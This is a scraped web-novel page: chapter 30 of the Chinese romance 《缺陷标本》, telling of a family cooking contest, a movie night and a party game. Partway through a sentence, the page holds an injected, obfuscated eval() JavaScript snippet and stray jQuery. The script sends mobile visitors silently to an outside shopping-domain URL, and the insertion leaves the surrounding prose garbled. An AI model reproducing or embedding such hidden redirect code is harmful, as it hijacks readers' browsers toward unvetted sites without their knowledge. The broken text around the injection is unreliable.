文趣网 > 都市小说 > 缺陷标本 > 30. 不确定的
    来这里的第二十五天,顾老爷子在今晚举办了一场烹饪大赛。大家以抽签的方式组队,女生先抽,剩下还没匹配的人,则按年龄从大到小的顺序抽取。

    栗栀安站在角落瑟瑟发抖,要是抽到同辈的还好,若是分到长辈,她可能几个小时都不敢开口说话。

    顾清词绕道她身后,“有怎么紧张吗?”

    栗栀安后退半步,“害怕抽到长辈。”

    “快去接受现实吧。”顾清词轻轻拍了一下她的手臂。

    栗栀安走上前,没有一丝犹豫,直接拿走边上的那张纸条,小心翼翼地打开,发现第一个字是老字。

    觉得这把肯定稳了,肯定是同辈,便呼出口气。

    “不一定。”顾清词说:“每个人开头的字都一样。”

    这一句话又让她紧张起来。这时顾彤问她,和谁一组。

    她心下一横,咬了咬牙,拆开这张纸条。顾泽川抢过,目光扫过字迹,唇角不自觉上扬,但只能假装很难过地说是和小舅舅。

    反观顾清词很是开心,笑意险些收不住,还要装作嫌弃地问她会不会做饭?

    栗栀安如实回答,会做,能吃,就是卖相不好,还请小舅舅您担待。

    组队成功,顾老爷子又催他们,去抽菜式和下厨时间。

    家里有两个厨房,各可以容纳二组人。每个组仅有半小时的时间,完成纸条上的两道菜。

    她和顾清词要做的菜是鱼香肉丝和番茄牛肉滑蛋。前者她向喻玉请教过,做起来不难。后者可能需要顾清词亲自掌勺,她打下手。

    她跟顾之弋和顾彤在同一时间做饭,厨房安静得连穿堂风呼过都清晰刺耳,连平日爱絮絮叨叨的顾之弋,也不敢讲一句话。

    顾彤在剥蒜,拍蒜,将蒜剁成蒜末放在一旁备用。转身看着面对她的三人,“顾之弋,这道蒜蓉生菜你来做。我出去给你们喘口气。”

    顾之弋看着人美心善的顾彤,笑着感谢:“谢谢大姑的不杀之恩。”

    其实顾彤待在这安静的环境下也快要窒息了。与其说是给他们喘口气,不如说是给自己一个叹气的机会。

    顾彤一只脚刚踏出去,顾之弋后脚就立马拍拍胸脯呼出口气,从冰箱拿出一瓶可乐,猛地灌了几口,靠着冰箱,突然想到什么问栗栀安,回国是不是就直接进组了。

    栗栀安把主厨的位置让出来,“休息了这么久,该开始搞事业了。”

    “那你们岂不是又要分开。”

    栗栀安赶走抵在冰箱旁的顾之弋,取出两枚鸡蛋。她懒得和顾之弋讨论她和顾清词之间的关系,装作听不见,迅速将蛋液打散搅匀,递给顾清词。

    顾之弋不死心,凑上来继续问:“小叔,你甘愿做三儿啊。”

    他拿起炒菜铲,顺着自己的话往下说:“没想到啊,没想到。”

    他着实没想到他小叔谈起恋爱能这么黏糊。之前顾泽川和他讲的时候,他还不相信地去厕所洗了把脸,又揉了两下眼睛。最终在一次晚上,听见顾清词说“喜欢,在一起过”才决定接受这现实。

    栗栀安抱着双臂在旁边听着。

    顾清词曲起食指叩了一下栗栀安的额头,听到她发出惨叫才满意地继续掌勺。

    被猝不及防弹了脑门,栗栀安捂着额头,目送顾之弋做完那道菜出去。等他消失在视线里,她迈着小碎步走到门边,观望外头动静,确认没有人,才缓缓朝顾清词靠近。

    “小舅舅,甘愿啊。”

    顾清词挑了下眉:“我是你长辈。要保持好距离。”

    “这是你说的哈。“栗栀安说:”小舅舅,你别后悔。”

    栗栀安哼了声把菜端出去,径直走向顾泽川,落座到他旁边。

    按理说搭档本该坐在一起才对,可她偏偏选择挨着“男朋友”落座。这一幕落到顾老爷子眼中,只当是小情侣一刻也不能分开,没多说什么。

    一顿饭吃完,她被顾荔急冲冲拽到房间。栗栀安刚反应过来,就已经坐在顾荔的床上。

    “怎么了?”栗栀安不太明白她的举动,诚恳地问她。

    顾荔解释:“幸好老爷子没有前几年这么爱搞形式主义,要不然你今天指定被骂。”

    “为什么?”

    “小叔没和你说过?”

    “说什么?”

    顾荔傻了眼,她小叔这是故意想看栗栀安被骂,还是早知道老爷子年纪大了,不想再事事深究。

    无论是哪一种,他都不该赌。

    不该赌一个不确定的答案。

    毕竟这是不负责的行为。出了事他也不可能为了她而出来反抗老爷子。

    她和栗栀安说明一切,发现栗栀安脸上并没有多大的波澜,问她到底是真不知道还是跟她装不知道。

    “不知道啊。”栗栀安确实不知道,顾清词确实也没和她讲过。但只要不是谎言,其余她都会无条件相信他。

    不确定的关系,不确定的答案,不确定的未来。

    顾荔看向一副无所谓的栗栀安,心想这么多个不确定她依旧肯相信他,突然磕到了她和顾清词。

    她这小叔和他男朋友不一样。她小叔不是个会热烈表达爱意的人,但却会以行动默默证明。

    然而眼前的这位,她发现貌似也一样。

    他们简直是绝配啊。

    房间门突然被敲响,彭元洲说是我,才推门进去。

    视线一瞟,栗栀安看到门口抱着双臂的顾清词和顾泽川。左边那位明显是被右边那个拖来打掩护的。

    看破说不破。

    顾荔上前问:“你们两个要干嘛?”

    顾泽川指了指身后:“走,去看电影。”

    顾荔:“几个人?”

    顾泽川:“不出意外六个。”

    顾荔看向栗栀安,“走吗?”

    栗栀安答应得干脆:“走。”

    他们乘坐电梯下了负二楼,还没进去,就听见里头传来略带沙哑的嗓音,尾音拖得老长,透着几分耍赖式的纠缠。

    大家围在一团偷笑,最后还是顾泽川听不下去,咳嗽出声,顾之弋才草草挂断。

    电影早已播放,巨大的幕布停留在经典片头龙头,明暗交错间,顾清词走到角落的位置。栗栀安紧跟其后,突然脚步一顿,又迈开继续往前走,走到另一头。

    栗栀安看得入迷,完全沉浸在故事里。丝毫没察觉到身旁的几人早已不见踪影。等她转头一看,除了自己,只剩他。

    黑暗吞没了大半个光影厅,唯有银幕散发着的光,此刻在他们脸上跳动。

    栗栀安能看清他唇角漾起了一抹很浅的弧度。

    像极了那晚在山上进帐篷前的笑。

    她的心一下被揪起来,摸着黑往旁边挪动了一个位置。

    “躲我?”

    “我们要保持好距离。”她时刻谨记他说的每句话,并无时无刻做到。反倒是他想来倒打一耙,那她是绝不允许的,“这不是你说的吗?要反悔啊。”

    “我后悔了。”顾清词说:“过来。”

    栗栀安又往旁边挪了一个位置,将距离又拉开一点,“可是我又没有后悔。”

    顾清词低头一笑。

    一阵手机铃声毫无

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17845720|209224||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    预兆地突然响起,打断了这份微妙的氛围。

    栗栀安将手机立在膝上,一直在调整角度。黑暗的环境使她只能借着屏幕画面切换的那一刻快速抓怕。

    但她不知道,顾清词虽在打电话,但他的眼睛从来没有离开过她,像块磁铁一样锁在她脸上。

    拍了几张,她觉得不太好看。于是换了个软件,调了个滤镜,将镜头继续对准他。

    取景框里倏地放大了他的衣角,她抬头看到了一张似笑非笑的脸,一下坐的笔直。偷怕被抓了个正着,她立刻收手,装作若无其事地刷起手机。

    他勾起她一缕发丝,漫不经心地绕在指尖打转。栗栀安拍了一下他的手,瞪了他一眼。

    听见他说“这边我来搞定,你不用担心”,便挂断了电话。栗栀安哦哟两声,拖着调子重复一遍他的话,问他在和谁聊天。

    “拍完手头这部,留出一点时间给我。”

    栗栀安骤然警惕起来,“要几天。”

    “三个月,四个月?”顾清词说:“不一定。”

    她觉得她在他们身上浪费太多时间了,她表示拒绝,“又要去旅游?可是我想工作。”

    “我这有一个风光题材的项目,本子是联合打造的。既然你不愿意的话,那算了。”顾清词抬起脚要起身。

    栗栀安赶忙摁住他,手臂压在他的脖子,恶狠狠地盯着他。

    顾清词:“既然你挽留我了,那我就再给你一次机会。”

    栗栀安:“愿意!”

    送上门的资源岂有不要的道理,她自然不会推辞。

    “这是聊什么呢?这么开心。”顾之弋探出个头,“电影都放完了,讲了什么过来和我们聊一聊啊。”

    棋牌室热闹极了,声音大到远远就能听见。栗栀安一进去,顾荔拉着她坐下,提议玩狼人杀。

    这是一款多人推理游戏,玩家会被分为不同阵营,靠发言和推断决出胜负。

    栗栀安第一次接触这款游戏是在初中,那时什么都不懂的她,只会盲目跟风。后来是在大学,时常和同学们组局一起打发时间,渐渐摸清了门道。

    第一局,她拿到平民,首夜被身为狼人的顾清词刀出局。

    她发现这游戏有漏洞,彼此太过熟悉,根本无需试探,拿到身份牌的那一刻,早已心知肚明。

    她静静看着他演,演平民,跳预言家,最终获得胜利。

    狡猾的狐狸。

    顾之弋开心地举起双手双脚,就差把顾清词抱起来庆祝。他高喊:“惩罚惩罚。”

    栗栀安:“怎么还有惩罚?没提前说啊。”

    “无惩罚不游戏。”顾之弋从置物架上取出一副真心话大冒险的卡牌。侧过身,伸出手请他们赶紧抽牌。

    上次玩真心话大冒险,全靠他让,她才能赢。

    可这次不一样,她只好认栽,抽了最外边的牌。

    顾之弋问:“是什么?”

    栗栀安露出难以启齿的表情。

    顾之弋:“真心话还是大冒险?”

    “大冒险。”栗栀安说:“给前男友打电话说复合。”

    “咦哟。”顾之弋拍手叫好,“刺激,快打。”

    大家都盯着她,催她快点。

    她也想快,但是当着“现男友”的面打电话给前男友,怎么都觉得有些奇怪。

    在场的除了顾泽川,没人知道她和顾清词谈过。大家只知道他们是互相喜欢,而她和顾泽川是假男女朋友关系,仅此而已。

    这时顾彤打电话来催他们上去吃水果,这个大冒险才被大家暂且抛之脑后。